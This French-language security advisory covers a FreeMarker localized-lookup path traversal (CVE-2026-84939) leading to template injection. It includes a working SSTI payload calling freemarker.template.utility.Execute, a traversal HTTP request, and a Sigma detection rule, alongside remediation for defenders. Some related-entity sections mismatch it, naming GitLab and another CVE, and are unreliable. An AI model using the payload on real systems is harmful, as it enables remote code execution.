CVE-2026-84939 : traversée de répertoires par locale malformée et injection de modèle distant dans Apache freemarker
HERMES THREAT SCORE & RISQUE D'ÉVASION DE MODÈLE
Cible :Moteur de modèles Apache FreeMarker — Recherche localisée (TemplateCache & TemplateLoaders) Le score CVSS v3.1 évalue la vulnérabilité CVE-2026-84939 à 9.1 (CRITIQUE). Hermes établit le risque opérationnel global à 92. FreeMarker est embarqué dans des milliers d'applications Java d'entreprise (Spring Boot, Apache Struts, Liferay, Alfresco, progiciels ERP). Par défaut, le mécanisme de recherche localisée est activé. Lorsque les applications convertissent les en-têtes HTTP (tels qu'Accept-Language) ou des paramètres d'URL en objets Locale Java sans assainissement strict, des séquences de traversée de répertoires (../) s'insèrent dans le chemin de résolution. Dans les contextes où l'attaquant peut déposer des fichiers sur le serveur, cette traversée se transforme en injection de modèle côté serveur (SSTI) et en exécution de code arbitraire via les classes utilitaires natives de FreeMarker.
SCORE DE SÉVÉRITÉ AGENTIQUE HASS & INJECTION D'ÉCHAFAUDAGES DE CODE
Cible :Chaînes d'outillage de développement, moteurs de génération de code IA & templates de prompts Dans les environnements d'outillage de développement assisté par IA et de génération automatisée d'applications, FreeMarker est fréquemment utilisé pour rendre des canevas de code source, des modèles de prompts et des configurations de pipelines. Une traversée de templates permet d'injecter des instructions cachées ou du code malveillant directement dans les livrables générés par les agents.
CVE-2026-84939: Path Traversal to Remote Template Injection and Code Execution via Malformed Locale in Apache FreeMarkerVULNÉRABILITÉ
Complete DevOps and DevSecOps lifecycle platform providing Git repository management, CI/CD pipelines, and security automation.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Confirmed security vulnerability in GitLab Community & Enterprise Edition documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
1. Contexte technique & matrice des logiciels affectés
Section intitulée « 1. Contexte technique & matrice des logiciels affectés »L’architecture de FreeMarker repose sur des implémentations concrètes de l’interface TemplateLoader pour localiser et lire les modèles sur disque ou dans les archives d’application.
| Paramètre | Spécification technique | Signification opérationnelle |
|---|---|---|
| Identifiant CVE | CVE-2026-84939 | Avis de sécurité officiel Apache FreeMarker |
| Classe de vulnérabilité | Traversée de répertoires / Injection SSTI (CWE-22, CWE-1336) | Échappement de racine par concaténation de paramètres de locale |
| Composant vulnérable | freemarker.cache.TemplateCache, ClassTemplateLoader, WebappTemplateLoader | Sous-système de résolution et de mise en cache des modèles |
| Mécanisme déclencheur | Objet Locale contenant des séquences .. | La recherche localisée génère des chemins rétrogradant de la racine |
| Configuration par défaut | localized_lookup = true | Vulnérable dans les configurations d’origine |
| Privilèges requis | Aucun (PR:N) | L’attaquant manipule des en-têtes ou paramètres de requêtes HTTP |
| Interaction utilisateur | Aucune (UI:N) | Traitement serveur automatisé |
| Versions affectées | org.freemarker:freemarker 2.2.0 - 2.3.34org.freemarker:freemarker-gae 2.2.0 - 2.3.34 | Applications web Java d’entreprise, portails CMS et services Spring |
| Version corrigée | 2.3.35 | Introduction du validateur _TemplatePathUtils.isInsideBaseDir |
2. Anatomie de la vulnérabilité & analyse de cause racine
Section intitulée « 2. Anatomie de la vulnérabilité & analyse de cause racine »Le mécanisme de recherche localisée
Section intitulée « Le mécanisme de recherche localisée »Dans FreeMarker, lorsqu’une application charge un modèle :
Template t = cfg.getTemplate("facture.ftl", userLocale);Si le paramètre localized_lookup est actif (valeur par défaut), FreeMarker génère une hiérarchie de noms de fichiers candidats adaptés à la locale du client. Par exemple, pour fr_CA_montreal :
facture_fr_CA_montreal.ftlfacture_fr_CA.ftlfacture_fr.ftlfacture.ftl
FreeMarker construit ces variantes en concaténant le nom de base avec les valeurs textuelles issues des méthodes getLanguage(), getCountry() et getVariant() de l’objet Locale.
La faille de traversée de répertoires
Section intitulée « La faille de traversée de répertoires »De nombreux contrôleurs web créent des objets Locale directement à partir des données reçues des utilisateurs :
// Schéma classique sans validationString lang = request.getParameter("lang"); // L'attaquant injecte : "../../televersements/malveillant"Locale userLocale = Locale.forLanguageTag(lang);Template template = freemarkerConfig.getTemplate("public/index.ftl", userLocale);Lors de la recherche localisée, FreeMarker forge un chemin tel que :
public/index_en_.._malveillant.ftl → qui se résout vers index_malveillant.ftl dans le répertoire parent !
Tandis que FileTemplateLoader implémentait une vérification canonique vis-à-vis de son baseDir, d’autres chargeurs essentiels en étaient dépourvus :
ClassTemplateLoaderrésout les ressources viaClassLoader.getResource(), permettant de naviguer dans le classpath.WebappTemplateLoaderinterrogeServletContext.getResource(), permettant d’accéder à l’arborescence de l’application web (/WEB-INF/,/televersements/, etc.).
Sans validation vérifiant que le chemin ne remonte pas au-delà de la racine autorisée, le chargeur ouvre des fichiers situés hors du bac à sable prévu.
3. Vecteurs de menace & cinématique d’exploitation
Section intitulée « 3. Vecteurs de menace & cinématique d’exploitation »Schéma d’attaque
Section intitulée « Schéma d’attaque »flowchart TD A["Attaquant / Requête HTTP"] -->|"1. Injecte une locale malformée (lang=.._.._televersements_avatar.png)"| B["Application web d'entreprise (Spring / Struts)"] B -->|"2. Instancie un objet Locale sans assainissement"| C["FreeMarker getTemplate('accueil.ftl', locale)"] C -->|"3. La recherche localisée génère le chemin de traversée"| D["WebappTemplateLoader / ClassTemplateLoader"] D -->|"4. Le chemin s'échappe de /templates/ vers /televersements/"| E["Charge le fichier piégé avatar.png"] E -->|"5. Le moteur interprète la directive FreeMarker : ?new()"| F["freemarker.template.utility.Execute"] F -->|"6. Exécution de commande OS arbitraire"| G["Compromission totale du serveur hôte / conteneur"]Démonstration de l’attaque
Section intitulée « Démonstration de l’attaque »Étape 1 : téléversement d’un modèle malveillant
Section intitulée « Étape 1 : téléversement d’un modèle malveillant »Dans une application d’entreprise autorisant le dépôt d’avatars ou de pièces jointes, l’attaquant dépose un fichier contenant des directives FreeMarker :
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id; whoami; uname -a") }Étape 2 : déclenchement de la traversée localisée
Section intitulée « Étape 2 : déclenchement de la traversée localisée »L’attaquant sollicite la page en transmettant la locale manipulée :
GET /portal/accueil?lang=.._.._televersements_avatar.png HTTP/1.1Host: cible-entreprise.localAccept-Language: ../../televersements/avatar.png- FreeMarker tente de charger
accueil_.._.._televersements_avatar.png.ftl. - Le chargeur normalise les points de traversée et ouvre le fichier déposé.
- FreeMarker compile et exécute le modèle.
- La classe utilitaire
Executelance la commande système et renvoie le résultat dans la réponse HTTP.
4. Impact doctrinal sur les architectures java d’entreprise & agents IA
Section intitulée « 4. Impact doctrinal sur les architectures java d’entreprise & agents IA »1. Ubiquité au sein des infrastructures patrimoniales et modernes
Section intitulée « 1. Ubiquité au sein des infrastructures patrimoniales et modernes »FreeMarker est intégré au cœur d’architectures d’entreprise critiques. Une vulnérabilité de traversée au niveau du mécanisme de résolution de modèles contourne les restrictions d’accès de multiples portails multi-locataires.
2. Mutation immédiate de traversée en exécution de code
Section intitulée « 2. Mutation immédiate de traversée en exécution de code »Contrairement aux traversées de répertoires en simple lecture, l’interprétation par un moteur de gabarits transforme immédiatement la lecture de fichier en exécution de code distant (SSTI).
3. Impact sur la génération automatisée de code par agents IA
Section intitulée « 3. Impact sur la génération automatisée de code par agents IA »Les assistants et agents développeurs s’appuient sur FreeMarker pour fabriquer du code source et instancier des microservices. La compromission des modèles permet d’introduire des portes dérobées dans le code produit.
5. Chasse aux menaces, détection & investigation forensique
Section intitulée « 5. Chasse aux menaces, détection & investigation forensique »Règle Sigma : tentative de traversée de locale FreeMarker dans les logs web
Section intitulée « Règle Sigma : tentative de traversée de locale FreeMarker dans les logs web »title: Tentative de traversée de locale Apache FreeMarker (CVE-2026-84939)id: cve-2026-84939-freemarker-traversal-frstatus: experimentaldescription: Détecte les séquences de traversée de répertoires (../, ..\, %2e%2e) injectées dans les paramètres de langue ou les en-têtes Accept-Language.author: Hermes Codex Threat Intelligencedate: 2026-09-14references: - https://lists.apache.org/thread/hrd7o2ylwkkswdyhyzllgqt0f80kyd5y - https://nvd.nist.gov/vuln/detail/CVE-2026-84939tags: - attack.initial_access - attack.t1190 - attack.defense_evasionlogsource: category: webserverdetection: selection_traversal: cs-method: - GET - POST c-uri-query|contains: - "../" - "..\\" - "%2e%2e" - ".._" - "_.." selection_headers: cs(Accept-Language)|contains: - "../" - "..\\" - "%2e%2e" - ".." condition: selection_traversal or selection_headersfalsepositives: - Rares en-têtes multilingues avec balises personnalisées contenant des points dans un format propriétaire.level: high6. Correspondance MITRE ATT&CK
Section intitulée « 6. Correspondance MITRE ATT&CK »| Phase tactique | Identifiant | Nom de la technique | Contexte d’exploitation |
|---|---|---|---|
| Accès initial | T1190 | Exploitation d’application accessible | Injection de séquences de traversée via les requêtes HTTP |
| Exécution | T1059 | Interpréteur de commandes et scripts | Injection SSTI via freemarker.template.utility.Execute |
| Évasion de défense | T1036 | Masquage | Dissimulation de modèles FTL dans des images ou avatars |
| Élévation de privilèges | T1068 | Exploitation pour élévation de privilèges | Sortie du contexte de modèle pour exécuter des commandes OS |
| Collecte | T1005 | Données du système local | Lecture de configurations internes et de secrets d’entreprise |
7. Guide de remédiation complet & durcissement
Section intitulée « 7. Guide de remédiation complet & durcissement »1. Mise à niveau immédiate vers Apache FreeMarker 2.3.35
Section intitulée « 1. Mise à niveau immédiate vers Apache FreeMarker 2.3.35 »Déployez la version 2.3.35 sur l’ensemble de vos projets. Cette version intègre la vérification _TemplatePathUtils.isInsideBaseDir(name) au sein des classes ClassTemplateLoader et WebappTemplateLoader, rejetant immédiatement les chemins s’échappant de la racine avec une exception MalformedTemplateNameException :
<!-- Mise à niveau de la dépendance Maven --><dependency> <groupId>org.freemarker</groupId> <artifactId>freemarker</artifactId> <version>2.3.35</version></dependency>2. Mesure palliative immédiate : désactivation de la recherche localisée
Section intitulée « 2. Mesure palliative immédiate : désactivation de la recherche localisée »Si la mise à jour ne peut être appliquée sans délai, désactivez globalement localized_lookup. Le moteur ne cherchera alors que le nom exact du fichier sans adjoindre les sous-variantes de locale :
// Désactivation de la recherche localiséefreemarkerConfig.setLocalizedLookup(false);Ou dans application.properties pour Spring Boot :
spring.freemarker.settings.localized_lookup=false3. Restriction du résolveur de classes de modèles
Section intitulée « 3. Restriction du résolveur de classes de modèles »Configurez le résolveur de classes pour interdire l’instanciation de classes utilitaires dangereuses comme Execute ou ObjectConstructor :
// Configuration du résolveur sécuriséfreemarkerConfig.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);